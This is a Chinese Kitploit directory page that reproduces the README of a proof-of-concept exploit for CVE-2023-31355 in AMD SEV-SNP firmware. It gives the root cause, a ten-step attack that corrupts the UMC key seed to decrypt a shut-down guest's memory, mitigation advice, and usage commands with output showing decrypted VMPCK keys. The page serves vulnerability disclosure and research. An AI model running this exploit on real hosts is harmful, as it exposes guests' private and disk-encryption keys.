Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2023-31355-poc — 针对 AMD SEV-SNP 固件漏洞(CVE-2023-31355)的利用,通过向地址零写入未初始化的 RMP 条目来破坏 UMC 密钥种子,从而解密已退役客户机的任意内存。 | Kitploit
工具/GitHubGitHub/freax13/cve-2023-31355-poc
加密/解密工具内存取证漏洞分析漏洞利用硬件安全固件分析二进制利用
GitHubfreax13/cve-2023-31355-poc

cve-2023-31355-poc

针对 AMD SEV-SNP 固件漏洞(CVE-2023-31355)的利用,通过向地址零写入未初始化的 RMP 条目来破坏 UMC 密钥种子,从而解密已退役客户机的任意内存。

查看仓库
842年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SEV 固件漏洞

此仓库包含针对 SEV 固件中一个漏洞的利用程序。该利用程序允许在 SEV-SNP 客户机关闭后解密其任意内存。

已在 1.55.16 版本上测试(目前最新版)。

根因

snp_reclaim_buffer 无条件地尝试写回 RMP 更改,即使地址不在 RMP 覆盖范围内。如果 address 不在 RMP 覆盖范围内,RMP 条目 page_rmp_paddr 的地址永远不会被正确初始化,并保持其初始值 0。因此固件尝试将 RMP 条目的更改写回地址 0。这很糟糕,因为地址 0 在 RMP 覆盖范围内,不应该在没有更多检查的情况下被写入。如果 address 在 RMP 覆盖区域之外,page_rmp_entry 从未被正确初始化,并包含来自栈的垃圾内存。这个垃圾内存在实践中是恒定的。

有一个注释正是警告这种代码模式,这也是为什么如果我不是第一个报告此问题的人,我也不会感到惊讶。

当管理程序请求退出环形缓冲区模式时,snp_reclaim_buffer 被调用,传入 SEV 环形缓冲区的状态页地址。该地址是攻击者可控的。对此地址有一些检查,但默认页面(即 RMP 覆盖区域之外的页面)被明确允许。

利用

我们可以通过在地址 0 放置一个客户机上下文页来利用这次对地址 0 的写入。方便的是,客户机上下文页的第一个字段是 UMC 密钥种子,其大小与 RMP 条目完全相同(都是 16 字节)。通过欺骗固件将更改写回地址 0,我们可以破坏 UMC 密钥种子。被写入的未初始化 RMP 条目总是相同的,因此被破坏的 UMC 密钥种子也几乎总是相同的:RMP 条目中的子页计数(9 位)没有被写入,但所有其他字段都被写入。通过重复创建新的客户机上下文页,每次会有不同的随机初始子页计数,我们可以最终创建多个具有相同 UMC 密钥种子的客户机。

要利用该漏洞,我们可以执行以下步骤:

  1. 为受害者客户机在地址 0 创建一个客户机上下文页。
  2. 利用漏洞破坏受害者客户机的 UMC 密钥种子。
  3. 激活受害者客户机的上下文页,启动并运行受害者客户机。
  4. 关闭受害者客户机。
  5. 为攻击者客户机在地址 0 创建一个客户机上下文页。
  6. 利用漏洞破坏攻击者客户机的 UMC 密钥种子。保证除 9 位外所有位都与受害者匹配。
  7. 如果攻击者客户机的 UMC 密钥种子与受害者匹配,继续;否则返回步骤 5。
  8. 激活攻击者客户机的上下文页,并启用调试标志启动。
  9. 将受害者客户机的内存分配给攻击者客户机。
  10. 使用 SNP_DBG_ENCRYPT 命令,通过攻击者客户机的上下文页解密受害者客户机的内存。这将成功,因为受害者客户机和攻击者客户机共享一个 UMC 密钥种子。

影响

由于我们只能在客户机关闭后才能解密内存,即使我们能够访问客户机的秘密,也无法创建伪造的认证报告。只有当客户机在关闭前已被迁移到另一个主机时,我们才能创建伪造的认证报告:在这种情况下,来自已关闭客户机的秘密(即 VMPCK)也将在新的已迁移实例上生效。

但在实践中,许多应用程序存储其他敏感信息(如私钥、磁盘加密密钥),这些信息可能通过此利用程序泄露。

缓解措施

RMP 条目只应在页面不处于默认状态时写回。

PoC 使用方法

  1. 在 BIOS 中将 RMP 覆盖区域改为 64GiB(0x10000 个 1-MiB 页面)。如果您的系统不支持,则需要相应调整 Linux 补丁。PoC 已在 128GiB 内存的系统上测试。
  2. 将 linux-patches 文件夹中的补丁应用到 https://github.com/AMDESE/linux/commits/snp-host-v10 的最新提交。构建、安装并启动内核。
  3. 启动一个受害者 SEV-SNP 客户机。
  4. 在客户机仍在运行时,获取(加密的)UMC 密钥种子。
    root@kitploit:~
    root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
    118402003190020000d0150701000000
    
  5. 停止受害者客户机。
  6. 检查内核日志以找到启动时创建的秘密页面的位置。
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. 重新加载 ccp、kvm 和 kvm_amd 内核模块:
    root@kitploit:~
    root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
    
    Linux 补丁似乎会搞乱 RMP,此操作重新初始化 RMP。
  8. 运行 PoC。
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    创建具有相同 UMC 密钥种子的 VM
    [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
    原始页面:
    000: 0300000000000000110fa0000000000000000000000000000000000082837143
    020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    秘密页面:
    imi_en: false
    FMS: 00a00f11
    gosvw: 00000000000000000000000082837143
    vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    请注意,秘密页面没有什么特别之处,此利用程序也可用于解密普通页面。在 PoC 中使用秘密页面是因为它们的内容非常可识别,便于查看受害者内存的解密是否成功。
下载工具